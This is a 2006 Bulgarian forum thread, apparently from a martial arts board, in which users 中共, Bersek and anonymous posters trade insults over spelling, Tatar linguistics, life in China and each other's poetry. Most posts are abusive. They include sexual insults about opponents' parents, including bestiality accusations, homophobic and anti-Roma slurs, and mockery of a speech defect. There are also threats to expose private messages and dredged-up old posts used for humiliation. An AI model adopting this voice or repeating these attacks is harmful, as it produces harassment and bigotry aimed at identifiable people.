С КАКВА ЦЕЛ ПИШЕШ ТУК И ЗА КАКВО СЕ БОРИШ?
Anonymous
Thu Mar 30 15:10:09 2006
Отг: ех и ти
--------------------------------------------------------------------------------
хах, Посере, няма да се учудя, ако част от тези грубовати постинги си ги съчинил ти, в състояние на афект ( при тебе това е често срещано явление ) А че си пълен малоумник това у всите форуми го знаят. Шизофреничните ти татаро - китаио - монголо - тюркски теории ги зарежи. Нямам желание да влизам в подробности, но съм следвал Тюркология в СУ, там беше задължителна както историята, така и изучаването на допълнителен език. Защо ли избрах татарски не знам. Нищо не помня , но и не съжелявам, това е един мъртъв език. Да не се отплесвам в подробности. Постни некоя от нарцис снимките да се посмеем дружно в хор. И най - накрая сменяй пола, че веч се не трай! Китайците от тоз земен рай що тъй милионно емигрират бе? По твоите думи пред посолствата на КНР треба да има цели тълпи желаещи да забегнат в тоз Едем. нещо не виждам такива, но пък китайци в БГ колкото щещ, с всеки изминал ден растът. Апропо ти сам създаваш негативно отношение към себе си. не пиши по теми, които не разбираш. Критиката ти към поезията на Берсерк е странна , имайки предвид твойте лични дебилни хленчове, които скоростно постваше. трябва да публикуваш няколко до снимките си за да се смеем повече, тогаз ще се превърне тоз форум в равлекателен портал.
Anonymous
Thu Mar 30 15:17:49 2006
Отг: :)
--------------------------------------------------------------------------------
Посерхане, де ти културата бе? Леле мале! Нал беши културен, не кът нас всите? Кви са тез нападки към родителите ми? Ни ги виждал ни ги знай ни си им чел постове, после кой обиждал. А тук пиша защото се забавлявам на малоумщината ти и ми е интересно да видя докъде мож стигна. Няма да крия , че ти разкри пред мен нови хоризонти. Голема работа си, направо малкия голям човек. Ако ти покажа комунистически билет ща си отрежеш ли пръста онлайн? Голямо шоу ще бъде.
中共
Thu Mar 30 15:34:19 2006
Отг: imperiqta otvryshta na udara редактиране |
--------------------------------------------------------------------------------
О, моля ти се! С твоите говорни дефекти (за които и част от учениците ти се подиграват) съвсем няма да си в състояние да произнесеш "Берсеркер". 3 "Р" в една дума не е за тебе!
За грешките - има правописни и технически. ТИ ДОПУСКАШ ПРАВОПИСНИ!
Ето, например, сега си писал "йероглифите" с главна буква, без да е начална дума в изречението. На какво основание? Това да не ти е немски? И как би го обяснил с натискане на съседен клавиш?
Ами това, че не можеш да напишеш "хайде" със съседни или с несъседни клавиши ще го обясниш?
А какво да кажем за неологизмите ти? (Ако знаеш какво е това, де).
Още - да знаеш, че, където има вметнати думи се ограждат със запетайки?
Това нещо - запетайките за тебе нищо не значат, нали?
Виж, например, как си писал "Е, и?" :
In reply to:
--------------------------------------------------------------------------------
Е и?
--------------------------------------------------------------------------------
Това с кой ли съседен клавиш се обяснява?
中共
Thu Mar 30 15:40:47 2006
Отг: imperiqta otvryshta na udara редактиране |
--------------------------------------------------------------------------------
За минижупа и магистралите - явно с твоят турски любовник имате доста инересен опит и идеи. Да не би да обслужвате американския контингент на Окинава?
Иначе, по география си гол и бос. Знаеш ли Манджурия на какво разстояние е от Хайнан?
Ами да ти постна една карта на Китай?
За визата - ами аз да не съм балък като тебе, да стоя толкова време в чужда страна и да карам на визи, които изтичат и, които се плащат?! Или при вас законите са по-други и не можеш да изкяриш? Май ще се завръщаш ти в, както ги казахте в ДАОБГ (цитирам) БГ-Л@ЙНАТА! Ама така е. Определено си от хората, които само излагат България в чужбина.
Bersek
Thu Mar 30 15:40:57 2006
Както вече казах...
--------------------------------------------------------------------------------
... колегата с Йероглифите (лично име драги, пише се с главна буква) се заяжда на тема правопис във форум за бойни изкуства. А, ако участва в някой форум за правопис, за какво ли ще се заяжда?!
За тебе Татаре няма поздрави, че пак ще вземеш да кажеш, че ще посветиш живота си на мен, а аз не желая да имам обожатели като теб!
За останалите поздрави :)
--------------------
Винаги с ЧЕСТ!!!
中共
Thu Mar 30 16:06:00 2006
Малко пояснения за момчето със спиралата: редактиране |
--------------------------------------------------------------------------------
1. В татарската и българската именна система няма лично име "ЙЕРОГЛИФ".
2. Дори да приемем глупостта, че го има, как така лично име се спряга в множествено число?!
3. Ако пък примем, че го има и е позволено такова граматическо невежество, КАТО КАК се връзва това със "С".
Все едно аз да говоря за теб и да кажа не правилното "колегата Стоян", а "колегата със Стояните"!
Измъкването ти не мина! Не знаеш къде се пишат главните букви.
______
Било форум за БИ и не трябвало да се спазва правопис?!!!!!!!
Българино, дето се лъжеш, че можеш да пишеш поезия на български, КАТО СИ БЪЛГАРИН И "ПОЕТ" би следвало да знаеш, че правописът (хайде за правоговорът няма да говорим, понеже ти е дефектен по природа) Е ЗАДЪЛЖИТЕЛЕН ЗА ВСЕКИ УВАЖАВАЩ СЕБЕ СИ БЪЛГАРИН-ПОЕТ. Представяш ли си, да речем, Блага Димитрова да беше решила да пише не във форум за БИ, а, дори, във форум за дианетика и да почне с такива елементарни грешки, като наш Стоян? Просто е ненормално това и най-лошото е, че не си вземеш поука, а упорстваш в простотията си. Каква чест предпоставяш у себе си?
За живота - не си го разбрал, чакай да ти обясня. За другите ще е новина, за тебе също, понеже си ми малоумно и си забравило.
Преди бях в процес на преместване и нямах време за Интернет. Но ти висеше по клубовете (от които се и опита да спамиш в "История", но те хванах по АЙПИ-то и стана за резил!) и ми развиваше теорията, че не съм можел да ти отговарям и пр. И аз ти рекох, че ще дойде време, когато ще се остановя пак на едно място, ще купя нов лап-топ и ще ти се види тясно (което и стана!), но ти не повярва.
Сега спомни ли си, Невежий Стоянович Фъфлеков?
И за обожателите - казах ти. Не обожавам хермафродити. Ето какво си писал в "Секс и еротика":
In reply to:
--------------------------------------------------------------------------------
Bersek
Fri Jan 21 12:45:17
2005
Хехехе!Не откриваш Америка! Имала съм тригодишна КоперТ цели 5 години и беше супер, но накрая получих кръвоизлив.Не са редки случаите на забременяване със спирала,въпреки малкия %. Ето защо Не за нераждали.
Презервативът е много полезен за бързаците, също така.:)
Винаги с ЧЕСТ!!!
--------------------------------------------------------------------------------
Значи получил си кръвоизлив, но иначе било супер 5 години?! И попадаш на бързаци?
Не знам какво ще се оправдаваш сега, ама Иво на 100% ти се наточил, предполагам! Успех в свалките, Хермич Стояновский :)
Anonymous
Thu Mar 30 16:22:00 2006
Отг: Малко пояснения за момчето със спиралата:
--------------------------------------------------------------------------------
Всички на теб сме се наточили, Посерхане. Нал ти са заиграваше първо с Гришата, после с Оня. само да съ подмийш и щта уважим, ням та мъчим повечи, стана ни жал.
Bersek
Thu Mar 30 16:24:23 2006
Малко пояснения за влюбеното в мен момче...
--------------------------------------------------------------------------------
Сигурно не ти отърва, но виж какво точно се мъдри под този така наречен мой пост:
---------------------------------
Latinka
Fri Jan 21 21:16:07 2005
Отг: Еххх Латинке Латинкеее
--------------------------------------------------------------------------------
Извинявам се на bersek,тъй като в един клуб влязох от комп. на който е бил и думите ми излезнаха от негово име,но карай...:)
Удоволствието е най-сладката мъка
-----------------------------
И какво сега - гадно ли ти е, че не съм хермафродит?! Нищо не се притеснявай, все ще се намери друг обект за твоите меко казани странни сексуални желания.
Използвам момента да ти благодаря, че ме научи как се пише тази дума! Не че ще ми трябва...
--------------------
Винаги с ЧЕСТ!!!
中共
Thu Mar 30 16:33:15 2006
Отг: ех и ти редактиране |
--------------------------------------------------------------------------------
Така ли, бе, мушице малоумна?! Значи, ако някой пише против идиотщините ви, това съм аз. Ами що не прецениш, че има и други нормални хора, които виждат на какво ниво сте. Какво ще кажеш за напълно справедливото недоволство на ЛОГРУСА?
И той ли съм аз?
Състоянието на афект не е често срещано при мене, а при тейко ти, когато борави с животните, за което вече беше споменато.
"А че си пълен малоумник това у всите форуми го знаят."
Да бе, аз да не съм като този, дето пишеше, че в абв.бг не можело да се пише с цветове.. Каже бе, далтонист!
"Шизофреничните ти татаро - китаио - монголо - тюркски теории ги зарежи."
А ти имаш ли "нешизофренични"? Как така официалната теория за произхода на татарите от кумани, прабългари и монголи в тюркологията стана "шизофренична"? Я дай контра-теорията си? Какъв е ЕТНОГЕНЕЗА НА ТАТАРИТЕ? Да не са траки, я?
__________
Ти си следвал ТЮРКОЛОГИЯ ?!!!!!
Не се шегувай, че ще ме умориш от смях и после ще те съдят!
Я кажи, като си тюрколог, колко тюркски езика владееш? И ми кажи как се класифицират тюркските езици днес!
___________
ТАТАРСКИЯТ Е МЪРТЪВ ЕЗИК?
С право всеки се убеждава, че не си учил никаква тюркология в никакво СУ!
Ето ти данни за татарския:
ТАТАРСКИЙ ЯЗЫК, нац. яз. татар. Входит в кыпчакскую гр. тюркских языков. Распространен в Татарстане, Башкортостане, Чувашии, Мордовии и мн. обл. РФ. Общая числ. татар в СССР 6545 тыс. человек. Из всех проживающих в РБ татар 1040,7 тыс. человек считали родным. Т.я. имеет 3 диалекта: 1) центр., или средний; 2) зап., или мишарский; 3) вост. (диалект сибирских татар). Старотат. лит. яз. функционировал с 16 в. до 1-й пол. 19. Со 2-й пол. 19 в. начинается формирование совр. тат. лит. языка. Письменность до 1927 на основе араб. графики, с 1927 по 1939 - на латинице, в дальнейшем на рус. графич. основе (кириллице). В наст. время Т.я. является гос. яз. (наряду с русским языком) Респ. Татарстан. Значит. вклад в изучение Т.я. и его диалектов внесли ученые И.Хальфин, К.Насыри, Г.Ибрагимов, Дж.Валиди, Г.Х.Алпаров, В.А.Богородицкий, В.Х.Хангильдин, Л.Заляй, М.Закиев, Д.Тумашева, В.Хаков, Ф.Ганиев, Г.Ахатов, С.Поварисов, Р.Сибагатов и др.
Лит.: Зэкиев М.З. Татар халkы теленен барлыkkа килyе. Казан, 1977; его ж е Татарская грамматика. В 3-х т. Казан, 1992.
М.В.Зайнуллин.
Така ... Сега вече знаем, че не е мъртъв татарският език, а е мъртъв калпавия ти мозък! И, ако си тюрколог, ще ти кажа на един тюркски език - СИКИДЖАМ БАБАНЪ, а ти ще ме разбереш правилно! Нали, Амджик?
In reply to:
--------------------------------------------------------------------------------
"Постни некоя от нарцис снимките да се посмеем дружно в хор. И най - накрая сменяй пола, че веч се не трай! "
--------------------------------------------------------------------------------
Искаш да пусна снимка на майка ти и да си сменям пола като нея?! Не се траело? Ами бягай в банята, докато баща ти не я е залостил с добитъка и си направи едно вулканче, бе! Не се траело...
"Китайците от тоз земен рай що тъй милионно емигрират бе?"
Aми щото, примерно, тука има много свестни готвачи и не могат да те излъжат. А в България идват селяндурите, забъркват ти някакъв буламач с мръсни ръце и ти казват, че е ориз по съчуански и ти ядеш. После се чудиш що имаш кучешка тения и ще те скъсат от операции, докато си жив. В смисъл, при вас бягат некадърниците и търгашите. Последните какво правят? Купуват от тук някое преоценено якенце за 3 лева и ти го продават на "Илиенци" за 45. И балъчетата като тебе купуват. Такива ми ти работи. Тука кой ще даде 45 лева за него? Никой!
"По твоите думи пред посолствата на КНР треба да има цели тълпи желаещи да забегнат в тоз Едем."
Смешник! Над 500 000 чужденци се натискат за китайска зелена карта и не могат да получат. А визово пребиваващи са над 2 000 000! Китайската политика казва, че Китай не е емигрантска държава и не допуска много чужденци тук. Така, че много мераклии не могат да се задържат.
"нещо не виждам такива, но пък китайци в БГ колкото щещ"
То и българи има на гурбет в Либия колкото щеш, ама това не значи, че в Либия е по-добре. Разбираш ли, капуте?
", с всеки изминал ден растът."
РастЪт ли? А ти кога ще вземеш да порастнеш и да не пишеш гламарщини и то по-неграмотно от най-неграмотния тук - Берсека?
" Апропо ти сам създаваш негативно отношение към себе си. "
Да създам негативно отношение у ръб като тебе е дълг и чест за самоуважението ми. Ако ме харесваха отрепки като тебе, би ме било срам!
"не пиши по теми, които не разбираш."
Това го кажи на себе си. Нали и без това си говориш сам.
"Критиката ти към поезията на Берсерк е странна , имайки предвид твойте лични дебилни хленчове, които скоростно постваше."
ХА! :))) Какви халюцинации пак вадиш, бе галфонче?
А поезията на Берсека се нуждае от критика. Но ти не си този, който разбира.
Въобще чел ли си му поне един стих?
Я виж последното му творение:
"Вълча кръв в мен тече,
към дивото ме тя зове,
Зиме, късно през ноща
слушам зова на кръвта.
Говори ми от древността,
със езика на яростта.
Нощем вия към Луната,
за разтуха на душата.
"
Искаш ли да анализираме само някои просто неща като РИМАТА, РИТЪМА И СМИСЪЛА?
" трябва да публикуваш няколко до снимките си за да се смеем повече, тогаз ще се превърне тоз форум в равлекателен портал."
Снимките на майка ти имат авторски права и са собственост на известни порнографски американски компании. А Китай се стреми да уважава авторските права на американските приятели, затова няма как. Защитени са от закона. Но пък ти можеш да поговориш с нея и да решите този казус (въпреки, че според договора, който е подпиcала тази овца, май няма право на никакви претенции, след като са й платили).
Хайде със здраве и не се ядосвай много, че пулсът ти не ми се струва нормален.
И ето колко е "лошо" в Китай:
中共
Thu Mar 30 16:37:42 2006
Отг: Малко пояснения за момчето със спиралата: редактиране |
--------------------------------------------------------------------------------
Ами няма такова нещо. Със зоофили не съм се занимавал. По принцип съм писал само за моми.
За уважението - ти гледай аз да не те уважа, че тогава ще ти стане жал, наистина.
中共
Thu Mar 30 16:41:30 2006
Отг: Малко пояснения за влюбеното в мен момче... редактиране |
--------------------------------------------------------------------------------
Не ми се оправдавай! Нали на "Лични" каза, че тази Латинка те е съжалила и е решила да те защити, но си бил наистина с проблеми! Не исках да те дъня, но ти прекали с глупостите си. Нека всички да знаят зашо те изостави Гергана!
И би ли посочил къде съм изявявал "странни сексуални желания"? Ти май ме обърка с онези, дето са ти направили кръвоизлива. Боляло те много, ама си стискал зъби, бля-бля-бля... Хайде да не казвам какво още си ми писал, че ще станеш за резил! Пускай си "Ну, погоди" и отнасяй плувката.
中共
Thu Mar 30 16:49:06 2006
Отг: Малко пояснения за момчето със спиралата: редактиране |
--------------------------------------------------------------------------------
Ами културен съм, разбира се. Най-голямата проява на култура е да се държиш адекватно на насрещната такава. "Ако си в Рим - бъди като римляните!" са казали древните. И аз така.
Родителите ти, ако се чувстват нападнати да дойдат да се обяснят и те във форума. Можеш да доведеш и дядо си, ако искаш.
_______
Иначе ти пишеш тук, както разбирам, за да спамиш темата. Май скоро ще има бан за тебе.
За комунистически билет - не можеш да ми покажеш, понеже в ком-партиите не приемат олигофрени, разбираш ли?
Anonymous
Thu Mar 30 16:50:08 2006
Отг: ех и ти
--------------------------------------------------------------------------------
Посерхане, не съм претендирал, че владея татарски. Ти имаш някакви претенции. Нещо в изписването ти бяга. В тюркологията първото, което те учат е закона за вокалната хармония. В твоите жалки, както и всичко друго, напъни да ми постваш твърде примитивни обиди на турски ( вероятно заучени от някой помашки манаф - любовник). Абе я направо почвай да се пишеш Сиган, знаш ли колко ща ти тича.Относно стиховете, постни свои бе, знаш ли къв смех ще падне. Аз толчав рев не съм чувал. Харесва ми, че отново вкара червения цвят, само така!
Anonymous
Thu Mar 30 16:52:55 2006
Отг: Малко пояснения за момчето със спиралата:
--------------------------------------------------------------------------------
Внимавай, ща ти изпълни онзи удар с две ръце и глава едновременно и падаш у реката!!
Bersek
Thu Mar 30 16:54:26 2006
Тц, тц, тц...
--------------------------------------------------------------------------------
Явно си и вярваш, като си ги говориш такива. Точно за това и не ти пиша на лични, за да е всичко на показ, че като те гледам какъв си лъжльо... Но ти не та не - държиш да ми пишеш. Как да не си помисля, че си нещо влюбен в мен?!
--------------------
Винаги с ЧЕСТ!!!
Bersek
Thu Mar 30 16:57:21 2006
Отг: Малко пояснения за момчето със спиралата:
--------------------------------------------------------------------------------
Какъв е този удар, че ми стана любопитно? :)
Поздрави.
--------------------
Винаги с ЧЕСТ!!!
Anonymous
Thu Mar 30 17:02:59 2006
Отг: Малко пояснения за момчето със спиралата:
--------------------------------------------------------------------------------
Този удар само Посерхана го знай, сигур е от някакъв вътрешен татаро - монголски стил.
Anonymous
Thu Mar 30 18:00:39 2006
Отг: Някои истини за теб, Анонимен!
--------------------------------------------------------------------------------
Бе дай и аз да се влючим , хахахах
In reply to:
--------------------------------------------------------------------------------
...Нали онзи недорасляк - ЗОРО твърди, че Докторът бягал от двубой с него? Как сега пък взехте да пишете обратното? ...
--------------------------------------------------------------------------------
Къде го пише обратното ве пръдльо , Докторът два пъти ОТКАЗА двубой , ако требе , има и трета възможност , но той пак ше се покрие ...
In reply to:
--------------------------------------------------------------------------------
"Аве майната ви на всички Татари , Доктори и не знам к'ви си прееб@ни ханове "
Този, примерно, що не го трият, банват и модерират, като цяло? Ами щото е вътрешен...
--------------------------------------------------------------------------------
Не съм вътрешен ве прьдльо , пак си се "объркал"/то че си сбъркан е ясно/ . Просто казвам ИСТИНАТА ве .
И пак ше го повторя на всякакви самозабравили се типове като теб и споменатите от мен .
И не си прави труда да отговаряш - дето е израза "Тя простотията по хората ходела - по прееб@ните ханове , докторa и приятелчетата им" !
中共
Thu Mar 30 18:04:19 2006
Отг: ех и ти редактиране |
--------------------------------------------------------------------------------
"Посерхане, не съм претендирал, че владея татарски."
ПОСЕРОВ, ОНОВА БЕШЕ НА ТУРСКИ! Но си личи каква тюркология си завършил в СУ, щом като не знаеш 2 елементарни турски думи. То и Скелетчо добруджански викаше, че икономист, ама се оака, както и ти.
"Ти имаш някакви претенции. Нещо в изписването ти бяга."
Абе може, нали "татарският е мъртъв език"
"В тюркологията първото, което те учат е закона за вокалната хармония."
Tова е ЗАКОНЪТ ЗА СИНХАРМОНИЗМА, АМДЖИК! Но си има изключения. Особено при заемките и чуждиците.
"Абе я направо почвай да се пишеш Сиган, знаш ли колко ща ти тича."
На турски е "ЧЕНГЕНЕ", личи си, наистина си личи, колко знаеш турския, АМДЖИК!
А ти що не се напишеш ШАФРАНТЪОГЛУ? Знаеш ли колко ще ти тича?
"Относно стиховете, постни свои бе, знаш ли къв смех ще падне."
Като видя поредната простотия на Берсековата поетична мисъл и смени темичката ли? Моите ги има в ДАОБГ-то, нима не си ги чел? И, ако се разтърсиш, ще видиш какво казват хората за моите и какво казват за Берсековите стихове. Така, че смехът е за тебе, Амджик ефенди!
"Аз толчав рев не съм чувал. Харесва ми, че отново вкара червения цвят, само така!"
ТИ луд ли си, бе? Нали каза, че в АБВ.БГ не може да се вкарват цветове! Как ще пиша с червено? ТО не може! Червеното е цвят!И зеленото е цвят, значи и със зелено не става!
Ех, че си ми нещастник!!!
Поздрави от Китай = на теб, на помашия любовник, за който споменаваш (поне го правиш с хора, а не като баща си!) и, най-вече, на майка ти, която ви храни и купува част от добитъка!
Мир Вам, Брато!
Anonymous
Thu Mar 30 18:06:15 2006
Отг: Някои истини за теб, Анонимен!
--------------------------------------------------------------------------------
Посерхане, ти си всеобщ любимец, земи са кандидатирай за депутат бе, глей кво лоби заформяш! Дерзай посере, дерзай!
Anonymous
Thu Mar 30 18:07:32 2006
Отг: Малко пояснения за влюбеното в мен момче...
--------------------------------------------------------------------------------
Бла бла бла, абе вече май пяна ти излиза от уста и капка възпитание не ти остана, на майка взе да обжидаш. Брех грях сторихме, малко добро да е имало, умре вече, сал един ам-гъл остана, даже заваляш вече, скоро само ам-гъл амгъл амгъл ще се чува. Ама за да не кажеш, че бягам от въпроси, ще отговоря на някои от тях, не на всички, че ме мързи да превъртам, нали съм шкембак :)
Та да видим какво ще си спомним.
Отричането ми било голо, хм, ами твърдението ти е голо, без грам факт.
Кои факти не били конкретни, ами кои са конкретни, няма едно име, пускаш само снимки от нета, хвърляш разни твърдения без обосновка или обосновката е от обиди към човека и/или семейството му.
Криеш юзъра или защото не съществува, или е мазен двуличник, който не смее да ми го каже в лицето :)
А за жените, определено не се оплаквам от липса на внимание, нито съм избягал чак до Китай за да излъжа някоя бедна китайка с високата си за Китай заплата :)
А за сарказма, ако това за тебе е сарказъм, то явно IQ-то ти е под 100 :)
За парите, ами сега ще кажеш, че и 14лв е много :) А такса за охрана няма, защото не ми е необходима. Но да посмятаме малко 14 лв от 90 лв са 16%, значи съответно 16% повече разходи => 16% повече приходи => 1000*1.16=1160лв => трябва да съм доволен на 1160 лв. хм, май отдавна не съм вземал такива пари :) Та ни се налага с жена ми (детето още не бачка, ами при тея високи разходи, кат стане на три го пращам да копа и тори доматето) да се оправяме със скромните, чакай сега да ги сметна, аз някъде 1200-1300, жена ми, тя по-добре напоследък, към 1500 евро, чекай, че се отплеснах и в друга валута го написах, та общо има-няма - 2700*1.965=5305.5лв. Мда бедния аз. Добре че не знам какви са цените в Китай, съвсем ще се депресирам :P
А тия цифри за инфлацията, си ги заври където щеш (само не отзад, че ще ти хареса), ами вземи кажи с това богатство дето го трупаш, какво успя да си купиш, некой от ония небостъргачи, дето все ги показваш. Ама май фотоапаратите са много скъпи, все не можеш да спастриш парички за един, та все снимки от интернет ни показваш. Но не се притеснявай, скоро ще си го сменям моя, мога да ти го подаря, хубав е, струваше колкото твоя заплата и половина :)
А това, че си лош, ами не съм кавал такова нещо, ти просто си зъл и не ти стиска да станеш лош. Все се опитваш образ хрисим да си изградиш, ама всеки тука може да види злобата, която извира от тебе. И преди да попиташ къде, ами просто прочети какви си ги написал за майките и бащите на колегите.
А за стила, висок нисък, все ми е тая, стига тона да поне близо до приличен. Пък като не се оправяш добре с българския, праскай и чуждици, като IPSE DIXIT, само дето този термин се отнася точно до твоя начин обосноваване, пълна липса на факти в защита на тезата ти.
А това, че си 175, не значи, че не си хобит, те и японците бяха ниски, ама киселото мляко прави чудеса :) Пък и ти не си точно хобит, а ам-гъл :)
И бегай при жената, че то пари пари, ама до време, те и друго искат (т'ва също от опит го знам :)) Аре и спри да се пениш, да не даде на късо клавиатурата
中共
Thu Mar 30 18:11:53 2006
Отг: Тц, тц, тц... редактиране |
--------------------------------------------------------------------------------
Пишеш ти на показ, ма ан личните друго се оплаква. Засегнах ли те нещо?
Ох, душицата той, се притеснил. Ами да не си се отварял. Сега пак бягаш като стана напечено. Ама, ти си като циганин, направо! Докато се чувстваш недосегаем и си много ербап и като опре ножа до кокала и бягаш. Позорно!
За това, че "съм влюбен в тебе" - разбирам, че женската ти половина се обажда, ама съжалявам! Като те заряза Гергана, си решил да се добереш до Георги, а?
Ех, дете, дете... Тъпичко и нещастно, ощетено от природата.
При тебе този символ е наобратно, нали?
中共
Thu Mar 30 18:14:47 2006
Отг: Някои истини за теб, Анонимен! редактиране |
--------------------------------------------------------------------------------
Аз - за депутат, а ти за президент. За вицето може да избереш някоя от овците на баща си (защо не самата ти майка?) и ще спечелите. Понеже е вярно, че българският народ е едно стадо, което гласува винаги по най-неподходящия начин.
中共
Thu Mar 30 18:31:21 2006
Отг: Някои истини за теб, Анонимен! редактиране |
--------------------------------------------------------------------------------
Здравей, Недорасляков!
Нещо много си взел да се пениш, недей така, ще ти се качи кръвното и ще ти се разтропа сърцето.
За ДОКТОРЪТ- човекът ти каза, че не е сигурен дали си мъж или "жена" и не иска да се бие с "жени", нали така? Как ли пък няма да се покрие! Ще те шамари на лягане и на ставане, ама просто го е гнус човека от педерасти. Това е.
2. За "майната ни" - ти сбъркан изродчо, ходи да опънеш твойта, ако имаш с какво и не навлизай в тематики, които не разбираш.
Я МИ КАЖИ, ЗАЩО СИ МЕ НАМЕСИЛ, ПРИ ПОЛОЖЕНИЕ, ЧЕ ОТСТОЯВАМ ОФИЦИАЛНАТА ВЕРСИЯ ЗА ПРОИЗХОДА НА ПРАБЪЛГАРИТЕ ОТБЕЛЯЗАНА :
а/ В Енциклопедия Британика
б/ Сайта на ЦРУ
в/ Правителствения сайт на РБ
г/ Сайта на Гумильов?
Докога ще си позволяваш своеволия?
И защо не те баниат за просташкия ти език? Не си бил вътрешен. Не ме интересува дали си вътрешен или ти пълнят задника с нещо вътрешно, НО Е ФАКТ, ЧЕ СИ НАЙ-ВУЛГАРНОТО СЪЩЕСТВО ТАМ, НО НИКОЙ НЕ ТИ КАЗВА НИЩО!
Да не ти отговарям? И що? Защото ще изгубиш тотално по всички пунктове, както Скелетчето, Берсека и Ивчо Алкохолното ли?
Самозабравил си се ти, понеже ти дават да ти е широко около врата, ясно ли ти е, Гейо?
И като си ми такъв умник, отговори ми на въпроса - как така си против мнение, което се отстоява от корифея Гумильов, Енциклопедия Британика, официалната БГ-история и ЦРУ?
OTГОВАРАЙ !
Anonymous
Thu Mar 30 19:27:40 2006
za Logrus
--------------------------------------------------------------------------------
In reply to:
--------------------------------------------------------------------------------
Така ли, бе, мушице малоумна?! Значи, ако някой пише против идиотщините ви, това съм аз. Ами що не прецениш, че има и други нормални хора, които виждат на какво ниво сте. Какво ще кажеш за напълно справедливото недоволство на ЛОГРУСА?
И той ли съм аз?
--------------------------------------------------------------------------------
Нееее, не .. Логрус съм го виждал на живо - прави спаринг (!!! много важно !!!), пие бира и всичко над нея :-) и (!!! много важно !!!) - ходи по жени!
няма начин да си ти, споко ;-)
П.П. за удара с 2те ръце от ушу - едновременно в торса и в главата, не смаосе пада в реката, ама и се излиза чак наследващия ден от там ...
... като обикновено този, който те е е ударил седи и чака до следващия ден, тада види дали удареният ше излезе от реката или не ...
中共
Thu Mar 30 19:35:49 2006
Отг: Малко пояснения за влюбеното в мен момче... редактиране |
--------------------------------------------------------------------------------
Aбе за какво възпитание ми говориш, вие сте от ДАОБГ-то, дето се прокламира зоофилия, лош език, избягване на закона, насилие и пр. Точно пък с вас да съм възпитан. Що не кажеш на пияндурника, Берсека , Скелет ДОбруджански или ЗОро - Гея да са възпитани?
________
За "АМГЪЛ", ами така е- бедна асицативна мисъл. Ползваш думи от детски книжки, претворени на холивудски буламачи, ама какво? Няма да ползваш лексиката от книга на Бердяев, я!...
_______
За това, че си шкембак - така казват момичетата. А и по-рано имаше една снимка в профила си - абсолютен дългокос шкембел с мазно, полуусмихнато личице.
Наистина се чудя как и една жена те е харесала, но някои жени са странни.
"Отричането ми било голо, хм, ами твърдението ти е голо, без грам факт."
Taка му се струва само на Дракончо, който го мързи да гледа, камо ли да се разрови и да си признае. На такива безочливи като тебе, не грам, а тон факти да дадеш, пак ще ти се пулят блажено насреща и по мазно-отвратеняшкия си начин ще се опитват безуспешно, но със семплото чувство на квазиубедителност да отричат истината. Нали, Мазньо?
"Кои факти не били конкретни, ами кои са конкретни, няма едно име, пускаш само снимки от нета, хвърляш разни твърдения без обосновка или обосновката е от обиди към човека и/или семейството му."
АБСОЛЮТНА ЛЪЖА!
"Криеш юзъра или защото не съществува, или е мазен двуличник, който не смее да ми го каже в лицето :)"
Юзърът си съществува, а с тебе не контактува по никакъв повод! И не виждам защо има нужда да ти го казва в лицето?! То е очеизваждащо! Казвам ти, че след една година или сега, ако Жоро махне бана, ще си отворя личните и ще ти копи-пейстна ЦЯЛОТО МУ ПИСМО, за да видиш какво е говорил/-а. И не се мисли за толкова страшен. Като гледам от участниците в срещата, като изключим Берсека, всеки може да ти направи тиквата мека.
"А за жените, определено не се оплаквам от липса на внимание, нито съм избягал чак до Китай за да излъжа някоя бедна китайка с високата си за Китай заплата :)"
Глупости на търкалета. Когато дойдох тук, имах приятелка в България и даже възнамерявахме да се женим, не съм планувал да си вземам китайка. После настъпиха изменения. А жената не е бедна, понеже има 3 апартамента, а това си е цяло състояние!
"А за сарказма, ако това за тебе е сарказъм, то явно IQ-то ти е под 100 :)"
А на тебе ти липсва, по тази логика или е с отрицателна величина, ако има такива, Мазньо! Да не говорим за EQ-то ти, което е сигурно колкото това на 3-я член от смейството ви (но не е жена ти).
"За парите, ами сега ще кажеш, че и 14лв е много :)"
Не го вади от контекста, Мазнич! Това е само една предпоставка.
ВИж пак какво съм писал, а не само каквото ти е удобно да видиш.
"А такса за охрана няма, защото не ми е необходима."
Не говорим за необходимостите, а за цифрите. ТУК Е ВКЛЮЧЕНА по някакви си причини. И Е КОРЕКТНО ДА ОТЧЕТЕШ ТОЗИ РАЗХОД.
"Но да посмятаме малко 14 лв от 90 лв са 16%, значи съответно 16% повече разходи => 16% повече приходи => 1000*1.16=1160лв => трябва да съм доволен на 1160 лв. хм, май отдавна не съм вземал такива пари :)"
А ОХРАНАТА? ХАЙДЕ ПРИСПАДНИ, РЕСП. УВЕЛИЧИ И ЩЕ СТАНАТ ПОНЕ 1200 лева!
1200 лева ще вземеш, когато си видиш ушичките без огледало!
"Та ни се налага с жена ми (детето още не бачка, ами при тея високи разходи, кат стане на три го пращам да копа и тори доматето) да се оправяме със скромните, чакай сега да ги сметна, аз някъде 1200-1300"
Лъжички.
", жена ми, тя по-добре напоследък, към 1500 евро, чекай, че се отплеснах и в друга валута го написах, та общо има-няма - 2700*1.965=5305.5лв. Мда бедния аз."
Тя какво , работи, ако това е вярно?
"Добре че не знам какви са цените в Китай, съвсем ще се депресирам :P"
Добре е, да. Защото яко послъгваш за положението у вас.
"А тия цифри за инфлацията, си ги заври където щеш (само не отзад, че ще ти хареса)"
Така ли, Мазньо? Ама, ако обичаш, не ми споделяй опита си!
И данните за инфлацията отричаш ли ги?
", ами вземи кажи с това богатство дето го трупаш, какво успя да си купиш, некой от ония небостъргачи, дето все ги показваш."
Ей-сега ще взема да ти споделям плановете и разходите си, как пък позна? ;)
"Ама май фотоапаратите са много скъпи, все не можеш да спастриш парички за един"
Мазен, имам дигитален, за 120 лева, който ти не можеш и да сънуваш, даже!
", та все снимки от интернет ни показваш."
Ами, компютърен инвалиде, ако не си разбрал, тука не може да се качва от компютъра, а не ми се играе да ъплоудвам. Освен това не виждам защо трябва да показвам лично творчество, като си има много по-професионални фотографи от мене. Ама, ако толкова си навит - покажи ти някоя твоя снимка от чужбина, пък аз може да ти върна жеста!
"Но не се притеснявай, скоро ще си го сменям моя, мога да ти го подаря, хубав е, струваше колкото твоя заплата и половина :)"
СЪнувай си, не ми пречиш.
"А това, че си лош, ами не съм кавал такова нещо, ти просто си зъл и не ти стиска да станеш лош."
А ти си заври обърканите аксиологии в чекмеджето.
"Все се опитваш образ хрисим да си изградиш, ама всеки тука може да види злобата, която извира от тебе."
Ами то е щото контактувам с :
а/ Алкохолик
б/ Хермафродитен олигофрен
в/ вулгарен недорасляк
г/ мазен дебелак
